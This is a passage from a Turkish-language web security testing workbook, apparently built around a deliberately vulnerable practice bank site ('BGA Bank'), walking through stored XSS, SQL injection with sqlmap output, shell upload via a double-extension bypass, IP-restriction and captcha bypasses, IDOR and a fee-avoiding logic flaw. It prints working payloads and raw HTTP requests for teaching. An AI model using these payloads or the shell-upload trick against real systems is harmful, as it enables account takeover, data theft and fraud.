  31.	
  Burp	
  Suite	
  Options	
  
Intercept	
  responses	
  based	
  on	
  the	
  following	
  rules	
  için	
  tik	
  koyulduktan	
  sonra	
  giriş	
  sonrası	
  
sunucudan	
  gelen	
  cevap	
  ve	
  cookie	
  bilgileri	
  görüntülenebilir.	
  
	
   	
  
36	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
13. Mesaj Gönderme Stored XSS Zafiyeti ve İstismarı
URL	
   http://isube.bgabank.com/mesajlar.aspx?islem=yenimesaj	
  
HTTP	
  Talep	
  Türü	
   POST	
  
Payload	
   <img	
  onerror="alert(document.cookie)"	
  src="1.jpg">	
  
Parametre	
   Mesaj	
  (k2)	
  
	
  
Müşteri	
   girişi	
   yapıldıktan	
   sonra	
   Mesajlar	
   menüsünden	
   müşteri	
   temsilcisine	
   mesaj	
  
gönderilebiliyor.	
   Mesaj	
   bölümünde	
   XSS	
   payload	
   girilip	
   gönderildiğinde,	
   müşteri	
   temsilcisi	
  
mesajı	
  görüntülediği	
  anda	
  XSS	
  payload	
  çalıştırılabilir.	
  Adımlar	
  aşağıdaki	
  gibidir.	
  
1)	
  Normal	
  müşteri	
  olarak	
  giriş	
  yapılır,	
  Mesajlar	
  menüsünden,	
  Yeni	
  Mesaj	
  gönder	
  seçilir.	
  (Şekil	
  
32)	
  
	
  
Şekil	
  32.	
  Yeni	
  Mesaj	
  Gönderme	
  Formu	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   37	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
2)	
   Tablo	
   15	
   de	
   belirtilen	
   payload	
   Mesaj	
   kısmına	
   girilir	
   ve	
   “Devam	
   Et”	
   butonuna	
   tıklanır.	
  
Ardından	
  temsilci	
  olarak	
  sisteme	
  giriş	
  yapılır	
  ve	
  istek	
  görüntülenir.	
  (Şekil	
  33)	
  
	
  
Şekil	
  33.	
  Müşteri	
  ve	
  temsilci	
  mesajlar	
  paneli	
  
Üstte	
   müşteriye	
   ait	
   olan	
   panelden	
   gönderilen	
   mesaj,	
   temsilcinin	
   mesajlar	
   paneline	
  
düşmüştür.	
  	
  
3)	
  Temsilci	
  mesajı	
  görüntüler	
  ve	
  XSS	
  payloadı	
  çalışır.	
  
	
  
Şekil	
  34.	
  XSS	
  Payload	
  Çalışır	
  
Cookie	
  bilgisi	
  ekrana	
  bir	
  pop-­‐up	
  çıkartmak	
  yerine	
  uzak	
  bir	
  makinede	
  bir	
  dosyaya	
  da	
  yazılabilir	
  
ve	
  oturum	
  hırsızlığı	
  yapılabilirdi.	
  
	
   	
  
38	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
14. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyeti ve
İstismarı
URL	
   http://isube.bgabank.com/havale-­‐eft.aspx	
  
HTTP	
  Talep	
  Türü	
   GET	
  
Payload	
   a"+or+1=1;-­‐-­‐	
  
Parametre	
   term	
  
Tablo	
  16.	
  Havale/EFT	
  Hesap	
  Arama	
  Kutusu	
  SQL	
  Injection	
  Zafiyet	
  Bilgileri	
  
Müşteri	
  girişi	
  yapıldıktan	
  sonra	
  Havale-­‐EFT	
  işlemi	
  sırasında,	
  "Varolan	
  Hesaplar"	
  kısmından	
  
arama	
  yapılıp	
  diğer	
  kullanıcılar	
  görüntülenebilir.	
  Bu	
  bölümde	
  SQL	
  injection	
  zafiyeti	
  vardır.	
  
Havale-­‐EFT	
  sayfası	
  ‘Varolan	
  Hesaplar’	
  kısmına	
  “a”	
  gibi	
  bir	
  harf	
  yazıldığında	
  içinde	
  “a”	
  geçen	
  
müşteriler	
  listelenecektir.	
  
	
  
Şekil	
  35.	
  Hesap	
  Arama	
  
Burp	
  ile	
  araya	
  girildiğinde	
  şekil	
  36’da	
  ki	
  gibi	
  bir	
  isteğin	
  gittiği	
  görülür.	
  
	
  
	
  
Şekil	
  36.	
  Burp	
  Suite	
  SQL	
  Injection	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   39	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Çeşitli	
   denemelerden	
   sonra	
   tablo	
   16	
   belirtilen	
   payload	
   yazıldığında	
   bütün	
   müşterilerin	
  
listelendiği	
  görülür.	
  (Şekil	
  37)	
  
	
  
Şekil	
  37.	
  Burp	
  Suite	
  Tüm	
  Müşterileri	
  Listeleme	
  
Gönderilen	
  GET	
  datası	
  
GET	
  /ajax.php?sayfa=hesap-­‐lists.php&term=a	
  HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
  Mozilla/5.0	
  (Windows	
  NT	
  6.3;	
  WOW64;	
  rv:32.0)	
  Gecko/20100101	
  Firefox/32.0	
  
Accept:	
  application/json,	
  text/javascript,	
  */*;	
  q=0.01	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
Content-­‐Type:	
  text/plain;	
  charset=UTF-­‐8	
  
X-­‐Requested-­‐With:	
  XMLHttpRequest	
  
Referer:	
  http://isube.bgabank.com/havale-­‐eft.aspx	
  
Cookie:	
  PHPSESSID=ersvs83cl712mkni2jm1ru6t33;	
  is_admin=false;	
  guest=FALSE	
  
DNT:	
  1	
  
Connection:	
  keep-­‐alive	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
40	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
GET	
  datası	
  alınır	
  ve	
  bir	
  text	
  dosyasına	
  kaydedilir,	
  kaydedilen	
  metin	
  belgesi	
  -­‐r	
  parametresiyle	
  
sqlmap	
  aracına	
  verilir.	
  	
  
	
  
Komut	
   sqlmap.py	
  -­‐r	
  ../Desktop/deneme.txt	
  -­‐-­‐dbms	
  mysql	
  -­‐p	
  term	
  -­‐-­‐level	
  3	
  -­‐-­‐risk	
  3	
  
Çıktı	
   Place:	
  GET	
  
Parameter:	
  term	
  
	
   Type:	
  UNION	
  query	
  
	
   Title:	
  MySQL	
  UNION	
  query	
  (NULL)	
  -­‐	
  14	
  columns	
  
	
   Payload:	
  sayfa=hesap-­‐lists.php&term=a"	
  UNION	
  ALL	
  SELECT	
  
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CON
CAT(0x7171687971,0x6d6	
  
56a4e4f7653726749,0x716f666e71)#	
  
	
  
	
   Type:	
  AND/OR	
  time-­‐based	
  blind	
  
	
   Title:	
  MySQL	
  >	
  5.0.11	
  OR	
  time-­‐based	
  blind	
  
	
   Payload:	
  sayfa=hesap-­‐lists.php&term=-­‐7892"	
  OR	
  5880=SLEEP(5)	
  AND	
  
"oRfa"	
  LIKE	
  "oRfa	
  
	
  
	
   	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   41	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
15. User-Agent Başlık Bilgisinde SQL Injection Zafiyeti ve
İstismarı
Müşteri	
  girişi	
  yapılırken	
  kullanıcı	
  adı	
  ve	
  şifre	
  doğru	
  ise	
  User-­‐Agent	
  bilgileri	
  veritabanına	
  kayıt	
  
oluyor.	
  User-­‐Agent	
  başlık	
  bilgisinde	
  zaman	
  tabanlı	
  SQL	
  injection	
  zafiyeti	
  vardır.	
  	
  
	
  
URL	
   http://isube.bgabank.com/giris.aspx	
  
HTTP	
  Talep	
  Türü	
   POST	
  
Payload	
   "	
  AND	
  SLEEP(5)	
  AND	
  "1"="1	
  
Parametre	
   User-­‐Agent	
  
Tablo	
  17.	
  User-­‐Agent	
  Başlık	
  Bilgisi	
  SQL	
  Injection	
  Zafiyet	
  Bilgileri	
  
SLEEP	
  fonksiyonu	
  MySQL’de,	
  MSSQL	
  veritabanındaki	
  waitfor	
  delay	
  fonksiyonun	
  karşılığıdır.	
  
Tablo	
  17.	
  de	
  ki	
  payload,	
  user-­‐agent	
  başlığına	
  eklendiğinde,	
  sayfanın	
  5	
  saniye	
  geç	
  yüklendiği	
  
görülecektir.	
  (Şekil	
  38)	
  
	
  
	
  
Şekil	
  38.	
  Time	
  Based	
  SQL	
  Injection	
  
	
   	
  
42	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
16. Profil Güncelleme Shell Upload Zafiyeti ve İstismarı
Müşteri	
   girişi	
   yapıldıktan	
   sonra	
   Müşteri	
   Bilgilerim	
   menüsünde	
   kısmında	
   kullanıcıların	
  
kendileri	
   için	
   profil	
   resmi	
   yükleyebileceği	
   bir	
   form	
   vardır.	
   Bu	
   formda	
   sadece	
   jpg	
   ve	
   png	
  
uzantılı	
   resim	
   yüklenebileceği	
   belirtilmekte	
   ancak	
   uzantı	
   kontrolü	
   çok	
   basit	
   şekilde	
  
yapılmaktadır.	
  Buraya	
  yüklenecek	
  bir	
  shell	
  ile	
  işletim	
  sistemine	
  komut	
  gönderilebilir.	
  
	
  
Şekil	
  39.	
  Müşteri	
  Bilgilerim	
  Sayfası	
  
Sisteme	
   normal	
   php	
   uzantılı	
   dosya	
   yüklenmek	
   istendiğinde	
   yükleme	
   başarısız	
   olacaktır.	
  
Uygulamanın	
  geliştirme	
  sürecinde	
  yapılan	
  hatalardan	
  biri	
  dosya	
  içerisinde	
  noktadan	
  sonra	
  
png,jpg	
   kontrolünün	
   yapılmasıdır.	
   Dolayısıyla	
   sisteme	
   shell.jpg.php	
   şeklinde	
   dosya	
  
gönderildiğinde	
  kabul	
  edilecektir	
  çünkü	
  noktadan	
  sonra	
  jpg	
  kullanılmıştır	
  ama	
  dosya	
  uzantısı	
  
php	
  dir.	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   43	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
	
  
Şekil	
  40.	
  Shell	
  Yükleme	
  
Shelle	
  ulaşıp	
  çalıştırmak	
  için	
  shell	
  lokasyonu	
  sayfa	
  kaynağından	
  öğrenilebilir.	
  (Şekil	
  41)	
  
	
  
Şekil	
  41.	
  Sayfa	
  Kaynağı	
  Shell	
  Lokasyonu	
  Tespiti	
  
	
  
	
  
	
  
	
  
	
  
	
  
44	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
Başka	
  bir	
  yöntem	
  olarak	
  DirBuster	
  programı	
  ile	
  shelle	
  ulaşılabilir.	
  (Şekil	
  42)	
  
	
  
Şekil	
  42.	
  DirBuster	
  
	
  
Yüklenen	
  shell	
  şu	
  şekilde	
  olduğu	
  görülecektir:	
  
http://isube.bgabank.com/uploads/kullanıcı_id/dosya_adı.jpg.php	
  
	
  
Şekil	
  43.	
  Shell	
  
	
   	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   45	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
17. Havale/EFT Stored XSS Zafiyeti ve İstismarı
Müşteri	
   olarak	
   BGA	
   BANK’a	
   giriş	
   yapılır.	
   İşlemler	
   →	
   Havale/EFT	
   bölümünde	
   k8	
  
parametresinde	
  (Not	
  kısmı)	
  	
  stored	
  XSS	
  zafiyeti	
  vardır.	
  Bu	
  zafiyet	
  istismar	
  edildiğinde	
  XSS	
  
payloadı,	
   hem	
   Havale/EFT	
   yapılan	
   kişinin	
   tarayıcısında	
   hem	
   de	
   saldırganın	
   tarayıcısında,	
  
hesap	
  bilgileri	
  görüntülendiğinde	
  çalışacaktır.	
  	
  
URL	
   http://isube.bgabank.com/havale-­‐eft.aspx	
  
HTTP	
  Talep	
  Türü	
   POST	
  
Payload	
   <script>alert(document.cookie)</script>	
  
Parametre	
   k8	
  
Tablo	
  18.	
  Havale/EFT	
  Stored	
  XSS	
  Zafiyet	
  Bilgileri	
  
XSS	
   tipi	
   stored(depolanan)	
   olarak	
   belirtilmiştir.	
   Çünkü	
   girilen	
   payload	
   veritabanına	
  
kaydedilmiştir.	
  Uygulama	
  içerisinde	
  Not’un	
  gösterildiği	
  her	
  yerde	
  bu	
  payload	
  çalışacaktır.	
  
	
  
İstismar	
  adım	
  adım	
  aşağıda	
  anlatılmıştır.	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
46	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
1)	
  Normal	
  müşteri	
  olarak	
  giriş	
  yapılır.	
  Havale	
  işlemi	
  sayfasında	
  bulunan	
  “Varolan	
  Hesaplar”	
  
yardımıyla	
  para	
  havale	
  edilecek	
  müşteri	
  seçilir	
  ve	
  “Not”	
  alanına	
  payload	
  girilip	
  “Devam	
  et”	
  
butonuna	
  tıklanır.	
  (Şekil	
  44)	
  
	
  
	
  
Şekil	
  44.	
  Havale	
  İşlemi	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   47	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
2)	
   Havale	
   edilen	
   kişinin	
   hesabına	
   girilir.	
   Menuden	
   “Hesap	
   Bilgilerim”	
   seçilir	
   ve	
   ardından	
  
“Devam	
   Et”	
   butonuna	
   tıklanır.	
   Açılan	
   sayfa	
   hesap	
   geçmişini	
   görüntülediğinden,	
   saldırgan	
  
tarafından	
  gönderilen	
  not	
  bu	
  sayfaya	
  düşer	
  ve	
  XSS	
  payload	
  çalışır.	
  (Şekil	
  45)	
  
	
  
Şekil	
  45.	
  Havale/EFT	
  XSS	
  istismarı	
  
	
   	
  
48	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
18. Erişim Kısıtlamasını Atlatma
Her	
  kullanıcı	
  Ayarlar	
  bölümünden	
  BGABANK’a	
  erişebileceği	
  IP'yi	
  belirtebilir	
  ve	
  artık	
  sadece	
  o	
  
IP	
  üzerinden	
  erişim	
  sağlanır.	
  Bu	
  kısıtlama	
  iki	
  şekilde	
  atlatılabilmektedir.	
  	
  
1)	
  Uygulamaya	
  mobil	
  olarak	
  giriş	
  yapılırsa	
  IP	
  kısıtlaması	
  atlatılmış	
  olur.	
  	
  
IP	
  erişimini	
  belirleme:	
  
	
  
Şekil	
  46.	
  Ayarları	
  Özelleştirme	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   49	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
User-­‐Agent	
  değiştirmek	
  için	
  Firefox’ta	
  User	
  Agent	
  Switcher	
  eklentisi	
  kullanılabilir.	
  Ya	
  da	
  Şekil	
  
47	
  de	
  ki	
  gibi	
  Burp	
  Suite	
  ile	
  User-­‐Agent	
  değeri	
  değiştirilerek	
  giriş	
  yapılabilir.	
  
	
  
Şeki	
  47.	
  Burp	
  Suite	
  İle	
  User-­‐Agent	
  Bilgisi	
  Değiştirme	
  
Örnek	
  POST	
  datası	
  
POST	
  /giris.aspx	
  HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
   Opera/9.80	
   (Android;	
   Opera	
   Mini/7.5.33361/31.1543;	
   U;	
   en)	
   Presto/2.8.119	
  
Version/11.1010	
  
Accept:	
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
Referer:	
  http://isube.bgabank.com/giris.aspx	
  
Cookie:	
  PHPSESSID=qbs1b2qas1j7gk9olkbb27s6p4	
  
Connection:	
  keep-­‐alive	
  
Content-­‐Type:	
  application/x-­‐www-­‐form-­‐urlencoded	
  
Content-­‐Length:	
  38	
  
	
  
b_musterino=10000142&b_password=sifre	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
50	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
2)	
   X-­‐Forwarded-­‐For	
   başlık	
   bilgisi	
   ekleyerek	
   de	
   bu	
   engel	
   atlatılabilir.	
   Farklı	
   bir	
   IP	
   ile	
   giriş	
  
yapılmaya	
  çalışıldığında	
  kullanıcının	
  izin	
  verdiği	
  IP	
  bilgisi	
  ekrana	
  yazdırılmaktadır.	
  (Şekil	
  48)	
  
	
  
	
  
Şekil	
  48.	
  IP	
  Yasağı	
  
Ekrana	
  yazdırılan	
  IP	
  bilgisini	
  kullanmak	
  için	
  Burp	
  proxy	
  aracı	
  ile	
  araya	
  girilir.	
  Şekil	
  49	
  da	
  ki	
  gibi	
  
X-­‐Forwarded-­‐For:	
  1.1.1.1	
  (yada	
  izin	
  verilen	
  IP	
  ne	
  ise)	
  başlık	
  bilgisi	
  girilir.	
  
	
  
Şekil	
  49.	
  X-­‐Forwarded-­‐For	
  
Sisteme	
  başarıyla	
  giriş	
  yapılır.	
  
	
   	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   51	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
19. Havale/EFT İşlemi Mantık Hatası ve İstismarı
Uygulamaya	
   web	
   üzerinden	
   girildiğinde	
   Havale/EFT	
   işlemleri	
   için	
   ücret	
   kesilirken,	
   mobil	
  
cihazlardan	
  	
  girildiğinde	
  ücret	
  kesilmemektedir.	
  Bu	
  zafiyet	
  ile	
  User-­‐Agent	
  bilgisi	
  mobil	
  cihaz	
  
olacak	
  şekilde	
  değiştirilerek	
  havale/EFT	
  işlemi	
  ücretsiz	
  yapılabilir.	
  
	
  
Şekil	
  50.	
  User-­‐Agent	
  Switcher	
  
Aşağıda	
   web	
   ve	
   mobil	
   olarak	
   iki	
   arayüz	
   gösterilmiştir.	
   Web	
   arayüzde	
   yapılan	
   işlemlerden	
  
ücret	
  kesileceği	
  uyarısı	
  yer	
  almaktadır	
  fakat	
  mobilde	
  bu	
  uyarıya	
  yer	
  verilmemiştir.	
  
Web	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
52	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
Mobil	
  
	
  
	
   	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   53	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
20. Müşteri Bilgileri Insecure Direct Object Zafiyeti ve
İstismarı
Müşteri,	
   profil	
   bilgilerini	
   Müşteri	
   Bilgilerim	
   menüsü	
   altında	
   bulabilmektedir.	
   Bu	
   sayfadaki	
  
bilgiler	
   Tablo	
   19	
   da	
   belirtilen	
   musteriID	
   parametresi	
   ile	
   veritabanından	
   çağrılmaktadır.	
  
Parametre	
   değeri	
   değiştirilip	
   başka	
   bir	
   değer	
   girildiğinde	
   sisteme	
   kayıtlı	
   diğer	
   müşteri	
  
bilgilerine	
  erişim	
  sağlanabilmektedir.	
  
URL	
   http://isube.bgabank.com/profil.aspx?musteriID=11	
  
HTTP	
  Talep	
  Türü	
   GET	
  
Parametre	
   musteriID	
  
Tablo	
  19.	
  Müşteri	
  Bilgileri	
  Insecure	
  Direct	
  Object	
  Zafiyet	
  Bilgileri	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
54	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
Şekil	
  51.	
  de	
  sisteme	
  musteriID	
  değeri	
  11	
  olan	
  Mustafa	
  Balaban	
  olarak	
  giriş	
  yapılmıştır.	
  
	
  
Şekil	
  51.	
  Müşteri	
  Bilgileri	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   55	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Tablo	
   19.	
   da	
   verilen	
   URL	
   bilgisinin	
   sonunda	
   bulunan	
   11	
   olan	
   mustediID	
   parametresinin	
  
değeri	
  12	
  olarak	
  değiştirildiğinde	
  şekil	
  52	
  de	
  görüldüğü	
  gibi	
  başka	
  bir	
  kullanıcının	
  bilgilerine	
  
ulaşılır.	
  
	
  
Şekil	
  52.	
  Başka	
  Müşteri	
  Bilgileri	
  
	
   	
  
56	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
21. Ziyaretçi Defteri Stored XSS Zafiyeti ve İstismarı
Ziyaretçi	
  defteri	
  sayfasında	
  yer	
  alan	
  “Mesajınız”	
  kısmında	
  Stored	
  XSS	
  zafiyeti	
  vardır.	
  İstismar	
  
edildiğinde,	
   stored	
   tipinde	
   bir	
   XSS	
   olduğu	
   için,	
   ilgili	
   sayfa	
   her	
   ziyaret	
   edildiğinde	
   payload	
  
çalışacaktır.	
  
URL	
   http://isube.bgabank.com/ziyaretcidef.aspx	
  
HTTP	
  Talep	
  Türü	
   POST	
  
Payload	
   <script>alert(document.cookie)</script>	
  
Parametre	
   k4	
  
Tablo	
  20.	
  Ziyaretçi	
  Defteri	
  Stored	
  XSS	
  Zafiyet	
  Bilgileri	
  
Tablo	
   20.	
   de	
   yer	
   alan	
   payload	
   şekil	
   53.	
   deki	
   gibi	
   “Mesajınız”	
   kısmına	
   yazılır	
   ve	
   sisteme	
  
gönderilir.	
  	
  
	
  
	
  
Şekil	
  53.	
  Ziyaretçi	
  Defteri	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   57	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Sonuç,	
  başarılı.	
  (Şekil	
  54)	
  
Şekil	
  54.	
  Sonuç	
  
	
   	
  
58	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
22. Çalışmayan Captcha Uygulaması
URL	
   http://isube.bgabank.com/administrator.aspx	
  
Tablo	
  21.	
  Çalışmayan	
  Captcha	
  Adresi	
  
Tablo	
  21.	
  de	
  belirtilen	
  adreste	
  bulunan	
  captcha	
  çalışmamaktadır.	
  Administrator	
  giriş	
  sayfası	
  
için	
  sadece	
  captchanın	
  boş	
  olup	
  olmadığının	
  kontrolü	
  yapılmaktadır.	
  
	
  
Şekil	
  55.	
  Başarısız	
  Deneme	
  
	
  
Şekil	
  56.	
  Başarılı	
  Deneme	
  
	
   	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   59	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
23. Captcha Atlatarak Brute Force Saldırısı Gerçekleştirme
URL	
   http://isube.bgabank.com/iletisim.aspx	
  
Tablo	
  22.	
  Captcha	
  Adresi	
  
BGA	
   Bank	
   iletişim	
   sayfasında	
   bulunan	
   captchanın	
   doğru	
   bir	
   şekilde	
   girildiğinin	
   kontrolü	
  
yapılmaktadır	
   (Şekil	
   57)	
   ancak	
   araya	
   girilerek	
   tek	
   bir	
   captcha	
   ile	
   çok	
   fazla	
   GET	
   isteği	
  
gönderilebilir.	
  	
  
	
  
Şekil	
  57.	
  İletişim	
  Sayfası	
  Boş	
  Captcha	
  Sonucu	
  
60	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
	
  
Şekil	
  58.	
  İletişim	
  Sayfası	
  Captcha	
  Kontrolü	
  
İstismar	
  için	
  gönderilen	
  GET	
  isteği	
  örneği	
  aşağıdaki	
  gibidir.	
  Burada	
  aynı	
  captcha	
  kullanılarak	
  
sadece	
  mail	
  adresleri	
  değiştirilip	
  gönderilmiştir.	
  Örnek	
  GET	
  isteği	
  aşağıdaki	
  gibidir.	
  
GET	
  
/ajax.php?sayfa=iletisim.php&k1=Ceylan&k2=Bozogullarindan&k3=(554)+478+87+88&k4=Ba
%C5%9Fvuru+Hakk%C4%B1nda&k5=Ornek+mesaj&k6=deneme%40bga.com.tr&k7=ptisan	
  
HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
  Mozilla/5.0	
  (Windows	
  NT	
  6.3;	
  WOW64;	
  rv:32.0)	
  Gecko/20100101	
  Firefox/32.0	
  
Accept:	
  text/html,	
  */*;	
  q=0.01	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
Content-­‐Type:	
  text/plain;	
  charset:UTF-­‐8	
  
X-­‐Requested-­‐With:	
  XMLHttpRequest	
  
Referer:	
  http://isube.bgabank.com/iletisim.aspx	
  
Cookie:	
  PHPSESSID=uq0vkig0f89mg24dse8s8akdu2	
  
DNT:	
  1	
  
Connection:	
  keep-­‐alive	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   61	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Ekran	
  görüntüsünde	
  ve	
  örnek	
  GET	
  isteğinde	
  görülebileceği	
  gibi	
  mail	
  adreslerini	
  fuzz	
  etmek	
  
için	
  Burp	
  üzerinde	
  k6	
  parametresine	
  §§	
  sembolleri	
  eklenmiştir.	
  (Şekil	
  59)	
  
	
  
Şekil	
  59.	
  Burp	
  Suite	
  Intruder	
  Pozisyon	
  Belirleme	
  
Örnek	
  olarak	
  oluşturulan	
  sahte	
  email	
  adresleri	
  başarıyla	
  yollanmıştır.	
  (Şekil	
  60)	
  
	
  
Şekil	
  60.	
  Sonuç	
  
	
   	
  
62	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
